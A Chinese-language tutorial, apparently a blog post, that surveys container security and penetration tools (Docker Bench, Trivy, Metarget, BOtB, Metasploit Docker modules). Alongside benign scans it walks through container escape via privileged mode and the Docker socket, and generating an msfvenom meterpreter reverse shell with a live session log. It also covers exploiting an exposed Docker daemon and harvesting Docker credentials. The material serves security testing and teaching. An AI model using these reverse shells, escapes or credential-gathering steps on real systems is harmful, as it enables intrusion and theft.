容器安全检测和渗透测试工具

《Java代码审计》http://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247484219&idx=1&sn=73564e316a4c9794019f15dd6b3ba9f6&chksm=c0e47a67f793f371e9f6a4fbc06e7929cb1480b7320fae34c32563307df3a28aca49d1a4addd&scene=21#wechat_redirect

Docker-bench-security

Docker Bench for Security 是一个脚本,用于自动化检查在生产中部署 Docker 容器的数十种常见最佳实践,比如主机配置的安全性、Docker deamon配置的安全性、容器镜像和构建的安全性等。

项目地址

https://github.com/docker/docker-bench-security

使用测试

在主机上下载并执行自动化脚本

复制代码
git clone https://github.com/docker/docker-bench-security.git
cd docker-bench-security
sudo sh docker-bench-security.sh

脚本自动化检测当前主机的容器安全性,并将检测到的信息输出到终端,对于检测到的不安全的内容,会以[warn]提示,并在最后给出测评的分数.

2. trivy

简介

trivy是一个由asuz公司开源的简单而全面的扫描器,用于检测容器镜像、文件系统和 Git 存储库中的漏洞以及配置问题。 Trivy 检测操作系统包(Alpine、RHEL、CentOS 等)和特定语言包(Bundler、Composer、npm、yarn 等)的漏洞。此外,Trivy 会扫描基础设施即代码 (IaC) 文件,例如 Terraform、Dockerfile 和 Kubernetes,以检测使您的部署面临攻击风险的潜在配置问题。

项目地址

https://github.com/aquasecurity/trivy

使用测试

复制代码
wget https://github.com/aquasecurity/trivy/releases/download/v0.21.2/trivy_0.21.2_Linux-64bit.tar.gz
tar -zxvf trivy_0.21.2_Linux-64bit.tar.gz
./trivy image alpine:3.10.7

3. Metarget

简介

Metarget的名称来源于meta-(元)加target(目标,靶机),是一个脆弱基础设施自动化构建框架,主要用于快速、自动化搭建从简单到复杂的脆弱云原生靶机环境。「绿盟科技研究通讯」上发布了一篇阐述Metarget的设计理念和技术目标的文章,见Metarget:云原生攻防靶场开源啦!

项目地址

https://github.com/Metarget/metarget

使用测试

4. BOtB

简介:

BOtB是由Chris Le Roy开源的容器安全分析和脆弱点利用工具,使用go语言开发,它能够辅助环境探测,还能够利用CVE-2019-5736、Docker Socket或特权模式进行容器逃逸。还有识别K8s的密钥并使用、将数据推送到 S3 存储桶等功能

项目地址:

https://github.com/brompwnie/botb

使用测试:

复制代码
docker run -itd -v /var/run/docker.sock:/run/docker.sock --privileged --name test2 ubuntu /bin/bash
docker exec -it test2 /bin/bash
apt update && apt install -y curl
curl -fSL "https://github.com/brompwnie/botb/releases/download/1.7.0/botb-linux-amd64" -o "botb-linux-amd64" \
&& chmod +x botb-linux-amd64

在容器中执行命令,使用特权模式进行容器逃逸

利用挂载到容器内的Docker Socket进行容器逃逸获得宿主机shell:

5. Metaspliot

在metaspliot中搜索关于docker的模块有以下几种,

复制代码
msf6 > search docker
​
Matching Modules
================
​
   #   Name                                                    Disclosure Date  Rank       Check  Description
   -   ----                                                    ---------------  ----       -----  -----------
   0   auxiliary/gather/saltstack_salt_root_key                2020-04-30       normal     No     SaltStack Salt Master Server Root Key Disclosure
   1   auxiliary/scanner/http/docker_version                                    normal     No     Docker Server Version Scanner
   2   exploit/linux/http/dcos_marathon                        2017-03-03       excellent  Yes    DC/OS Marathon UI Docker Exploit
   3   exploit/linux/http/docker_daemon_tcp                    2017-07-25       excellent  Yes    Docker Daemon - Unprotected TCP Socket Exploit
   4   exploit/linux/http/rancher_server                       2017-07-27       excellent  Yes    Rancher Server - Docker Exploit
   5   exploit/linux/local/docker_daemon_privilege_escalation  2016-06-28       excellent  Yes    Docker Daemon Privilege Escalation
   6   exploit/linux/local/docker_privileged_container_escape  2019-07-17       normal     Yes    Docker Privileged Container Escape
   7   exploit/linux/misc/saltstack_salt_unauth_rce            2020-04-30       great      Yes    SaltStack Salt Master/Minion Unauthenticated RCE
   8   exploit/windows/local/docker_credential_wincred         2019-07-05       manual     Yes    Docker-Credential-Wincred.exe Privilege Escalation
   9   post/linux/gather/checkcontainer                                         normal     No     Linux Gather Container Detection
   10  post/linux/gather/enum_containers                                        normal     No     Linux Container Enumeration
   11  post/multi/gather/docker_creds                                           normal     No     Multi Gather Docker Credentials Collection
​
​
Interact with a module by name or index. For example info 11, use 11 or use post/multi/gather/docker_creds   

5.1 exploit/multi/handler

注意,post分类下的模块通常在后渗透阶段执行,因为这些模块的执行通常依赖于一个已有Meterpreter会话。为方便演示,我们采用如下操作来构造一个这样的Meterpreter shell:

在本地测试环境中,首先生成一个反弹shell:

复制代码
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=172.17.0.1 lport=10000 -f elf -o reverse_shell

然后创建容器把反弹shell放进去,

复制代码
docker cp ./reverse_shell e51242b34b04:/

接着在Metasploit中开启监听,再在容器中运行反弹shell。至此,我们在Metasploit中获得了一个Meterpreter:

复制代码
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp 
payload => linux/x64/meterpreter/reverse_tcp
​
msf6 exploit(multi/handler) > set LHOST 192.168.21.130
LHOST => 192.168.21.130
​
msf6 exploit(multi/handler) > set LPORT 10000
LPORT => 10000
msf6 exploit(multi/handler) > run
​
[*] Started reverse TCP handler on 192.168.21.130:10000 
[*] Sending stage (3008420 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (192.168.21.130:10000 -> 172.17.0.2:45290) at 2021-12-04 08:02:50 -0500
​
meterpreter > 

这个shell是容器内部的,如果要在宿主机上建立shell,只需要在宿主机上执行反弹shell程序即可。

5.2 docker_version

地址:https://github.com/rapid7/metas

功能:查看Docker服务器版本(设置VERBOSE参数为true能够获得更多信息)。

原理:向Docker Daemon监听的2375端口发起请求。

限制:目标环境的Docker Daemon必须开启端口监听且能够被远程访问。

实验:

在本地Docker测试环境中,先vi /usr/lib/systemd/system/docker.service修改 [Service]的ExecStart,增加 -H tcp://0.0.0.0:2375开启2375端口监听,然后在另外终端窗口中利用Metasploit进行扫描:

复制代码
msf6 > use auxiliary/scanner/http/docker_version
msf6 auxiliary(scanner/http/docker_version) > show options
​
Module options (auxiliary/scanner/http/docker_version):
​
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    2375             yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   THREADS  1                yes       The number of concurrent threads (max one per host)
   VHOST                     no        HTTP server virtual host
​
msf6 auxiliary(scanner/http/docker_version) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 auxiliary(scanner/http/docker_version) > set VERBOSE true
VERBOSE => true
msf6 auxiliary(scanner/http/docker_version) > exploit
​
[*] Identifying Docker Server Version on 127.0.0.1:2375       
[+] [Docker Server] Version: 20.10.11
[*] All info: {"Platform"=>{"Name"=>"Docker Engine - Community"}, "Components"=>[{"Name"=>"Engine", "Version"=>"20.10.11", "Details"=>{"ApiVersion"=>"1.41", "Arch"=>"amd64", "BuildTime"=>"2021-11-18T00:35:31.000000000+00:00", "Experimental"=>"false", "GitCommit"=>"847da18", "GoVersion"=>"go1.16.9", "KernelVersion"=>"5.10.0-kali3-amd64", "MinAPIVersion"=>"1.12", "Os"=>"linux"}}, {"Name"=>"containerd", "Version"=>"1.4.12", "Details"=>{"GitCommit"=>"7b11cfaabd73bb80907dd23182b9347b4245eb5d"}}, {"Name"=>"runc", "Version"=>"1.0.2", "Details"=>{"GitCommit"=>"v1.0.2-0-g52b36a2"}}, {"Name"=>"docker-init", "Version"=>"0.19.0", "Details"=>{"GitCommit"=>"de40ad0"}}], "Version"=>"20.10.11", "ApiVersion"=>"1.41", "MinAPIVersion"=>"1.12", "GitCommit"=>"847da18", "GoVersion"=>"go1.16.9", "Os"=>"linux", "Arch"=>"amd64", "KernelVersion"=>"5.10.0-kali3-amd64", "BuildTime"=>"2021-11-18T00:35:31.000000000+00:00"}
[*] Saving host information.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

5.3 exploit/linux/http/docker_daemon_tcp

地址:https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/docker_daemon_tcp.rb

功能:利用监听了TCP socket的Docker守护进程实现root权限远程代码执行。

原理:远程给Docker守护进程下达命令拉取镜像,创建新容器,挂载宿主机目录,写入反弹shell的定时任务。

限制:目标环境的Docker Daemon必须开启端口监听且能够被远程访问。

实验:我们先开启Docker守护进程的TCP socket监听,然后在Metasploit中载入模块,设置payload为反弹Meterpreter,接着设置相关参数,最后执行模块即可

5.4 post/linux/gather/checkcontainer

地址:https://github.com/rapid7/metasploit-framework/blob/master/modules/post/linux/gather/checkcontainer.rb

功能:检测目标环境是否为容器。

原理:较为简单,即检测/.dockerenv特征文件和cgroup里的特征字符串是否存在等。

限制:获得一个基础shell之后才能使用(后渗透阶段)。

实验:在Meterpreter中,执行该模块即可:run post/linux/gather/checkcontainer

5.5 post/linux/gather/enum_protections

地址:https://github.com/rapid7/metasploit-framework/blob/master/modules/post/linux/gather/enum_protections.rb

功能:检测目标环境中各种漏洞缓解机制是否开启(对于容器环境来说,会影响逃逸成功率),具体检测了漏洞缓解措施是否开启,如ASLR、kernel.exec-shield、KAISER、SMEP/SMAP;还检测了LKRG、Grsecurity、PaX、SELinux、Yama等内核安全模块是否安装及开启;另外,还检测了一些常见安全应用等(详见源代码)。

原理:该模块调用了Metasploit核心模块Msf::Post::Linux::Kernel,核心模块则是通过读取内核通过procfs等伪文件系统在用户态暴露出的参数来判断相关缓解机制是否开启。例如,对ASLR的判断如下:

复制代码
def aslr_enabled?
    aslr = cmd_exec('cat /proc/sys/kernel/randomize_va_space').to_s.strip
    (aslr.eql?('1') || aslr.eql?('2'))
  rescue
    raise 'Could not determine ASLR status'
  end

限制:获得一个基础shell之后才能使用(后渗透阶段)。

实验:在Meterpreter中,执行该模块即可:

5.6 post/multi/gather/docker_creds

地址:https://github.com/rapid7/metasploit-framework/blob/master/modules/post/multi/gather/docker_creds.rb

功能:尝试读取所有用户目录下的.docker/config.json文件,解析获得认证凭据(如镜像仓库的登录凭据)。

原理:读取.docker/config.json文件。

限制:获得一个基础shell之后才能使用(后渗透阶段)。

实验:新安装的Docker环境下可能没有~/.docker/目录,可以先docker login登录一次镜像仓库,Docker就会为当前用户建立这个目录。接着,在宿主机上建立Meterpreter,然后执行模块即可,:

5.7 其他

  • exploit/linux/http/rancher_server
    利用 Rancher Server,在远程主机上创建新容器,并挂载宿主机目录,并反弹shell。
  • exploit/linux/http/dcos_marathon
    利用 DCOS Cluster's Marathon UI,在远程主机上创建新容器,并挂载宿主机目录,并反弹shell。
  • exploit/linux/local/docker_daemon_privilege_escalation
    当拿到目标宿主机上的一个普通用户shell时,如果该普通用户能够操作本机上的Docker,就能够借助Docker守护进程提升权限。
  • exploit/linux/local/docker_privileged_container_escape
    当docker以特权模式启动时,该模块可以通过利用特权模式使容器从宿主机中逃逸
  • exploit/linux/local/docker_runc_escape
    该模块利用 runc 中的一个缺陷 (CVE-2019-5736),通过覆盖runc文件,帮助容器逃逸
相关推荐
Hi202402178 分钟前
在Docker容器中安全运行OpenClaw:无需虚拟机,体验AI助手
人工智能·安全·docker·openclaw
种时光的人8 分钟前
CANN 生态 ×AIGC 合规:cann-compliance 让大模型落地既安全又合规
安全·aigc
hzb6666614 分钟前
unictf2026
开发语言·javascript·安全·web安全·php
我的xiaodoujiao23 分钟前
使用 Python 语言 从 0 到 1 搭建完整 Web UI自动化测试学习系列 47--设置Selenium以无头模式运行代码
python·学习·selenium·测试工具·pytest
大模型玩家七七1 小时前
基于语义切分 vs 基于结构切分的实际差异
java·开发语言·数据库·安全·batch
Hello.Reader9 小时前
Flink ZooKeeper HA 实战原理、必配项、Kerberos、安全与稳定性调优
安全·zookeeper·flink
智驱力人工智能9 小时前
小区高空抛物AI实时预警方案 筑牢社区头顶安全的实践 高空抛物检测 高空抛物监控安装教程 高空抛物误报率优化方案 高空抛物监控案例分享
人工智能·深度学习·opencv·算法·安全·yolo·边缘计算
数据与后端架构提升之路10 小时前
论系统安全架构设计及其应用(基于AI大模型项目)
人工智能·安全·系统安全
市场部需要一个软件开发岗位12 小时前
JAVA开发常见安全问题:Cookie 中明文存储用户名、密码
android·java·安全
lingggggaaaa12 小时前
安全工具篇&动态绕过&DumpLsass凭据&Certutil下载&变异替换&打乱源头特征
学习·安全·web安全·免杀对抗